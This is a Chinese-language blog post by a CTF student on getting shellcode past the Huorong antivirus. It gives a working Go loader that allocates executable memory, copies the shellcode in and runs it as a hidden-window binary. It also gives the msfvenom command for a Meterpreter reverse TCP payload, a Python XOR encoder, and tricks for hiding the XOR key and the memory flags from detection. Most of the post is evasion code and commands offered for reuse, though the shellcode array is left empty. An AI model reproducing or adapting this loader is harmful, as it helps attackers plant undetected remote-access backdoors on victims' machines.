Back
Featured image of post Go语言ShellCode免杀火绒

Go语言ShellCode免杀火绒

Go语言ShellCode免杀火绒

1. Shellcode 加载器(go)

我们先看最后的免杀代码

package main

import (
	"fmt"
	"os"
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var (
	kernel32      = syscall.NewLazyDLL("kernel32.dll")
	ntdll         = syscall.NewLazyDLL("ntdll.dll")
	VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
	RtlCopyMemory = ntdll.NewProc("RtlCopyMemory")
	//shellcode_buf = []byte{
	//}
	shellcode_buf = []byte{
	}
)

func check(e error) {
	if e != nil {
		if e.Error() != "The operation completed successfully." { // 内存错误
			fmt.Println(e.Error())
			os.Exit(1)
		}
	}
}

func main() {
	//// xor
	homeDir, _ := os.UserHomeDir()
	xor := homeDir[3] // U -> 85
	decimalValue := int(xor)
	shellcode := xorEncrypt(shellcode_buf, decimalValue)
	//shellcode := shellcode_buf

	fmt.Println(shellcode)
	// 申请内存
	// MEM_COMMIT|MEM_RESERVE
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
	if addr == 0 {
		check(err)
	}
	// 写入shellcode
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	check(err)

	// 执行shellcode
	syscall.Syscall(addr, 0, 0, 0, 0)
}

func xorEncrypt(buf []byte, value int) []byte {
	for i := 0; i < len(buf); i++ {
		buf[i] ^= byte(value)
	}
	return buf
}

// go build -ldflags="-H windowsgui -w -s" shellcodeLoader.go

2. shellcode 生成

对于shellcode的生成我们采用msf进行生成:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx LPORT=xxxx -f c

对于生成的shellcode,我们如果不进行处理,对于火绒这类的杀毒软件来说,做简单的静态分析,如果坚持到0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50···这些关键字节,肯定会报毒:Backdoor/W64.Meterpreter.f

3.可能的绕过方式

一般来说,为了防止shellcode被检测到,我们通过对shellcode进行处理,如base64加密,亦或等等操作,也可以考虑github的sgn工具。

本文我们主要采用亦或操作(xor)

我们先将msf生成的shellcode进行亦或操作:

# xor.py 
shellcode = []

# xor 85
shellcode1 = ''.join(['\\x%02x' % i for i in shellcode])
print(shellcode1)
for i in range(len(shellcode)):
    shellcode[i] ^= 85

# 0x格式化输出
shellcode = ''.join(['\\x%02x' % i for i in shellcode])
print(shellcode)

再将shellcode进行替换,并且与目标值进行亦或,就可以获得正确的shellcode。

但是当我们进行编译的时候,任然报毒。


shellcode := xorEncrypt(shellcode_buf, 85)

func xorEncrypt(buf []byte, value int) []byte {
	for i := 0; i < len(buf); i++ {
		buf[i] ^= byte(value)
	}
	return buf
}

这是由于火绒在检测的时候如果能明确看到85,会尝试亦或来还原shellcode,base64同理。

所以我们就尝试如果隐藏85,通过读取用户目录来获取。


	homeDir, _ := os.UserHomeDir()
	xor := homeDir[3] // U -> 85
	decimalValue := int(xor)

此时,shellcode是没有问题的,但是在进行编译的时候会遇到内存的报毒:

这个原因是我们在申请内存时,设置内存权限为MEM_COMMIT|MEM_RESERVE;

我们将内存权限设置为MEM_COMMIT就可以了。

4. 免杀效果

查看能否上线

5. 总结

这是第一次尝试免杀,之前一直在学习pwn和web安全,但是在前段时间的上海市大学生磐石行动的比赛中,发现内网中存在杀毒软件,且无法及时绕过,虽然通过文件包含读取到了flag,但是却阻止了我们进一步的渗透利用,最后也只获得了第十一名,与决赛遗憾错过。

回来之后,反思了很多,觉得还是要对免杀进行一部分的学习,go语言的shellcode免杀通过微信推文看到的,决定挺有意思的,便在之后的学习中进行尝试,没想到就成功绕过了火绒(其他杀毒软件还没有尝试过),但是这也激起了我学习的热情。

此外,最近也收到了实验室导师的任务,给本科生同学们准备渗透测试(CTF)的课程,也觉得免杀蛮重要的,顺便也一起给讲了。

学无止境,脚踏实地。

Built with Hugo
Theme Stack designed by Jimmy
© Licensed Under CC BY-NC-SA 4.0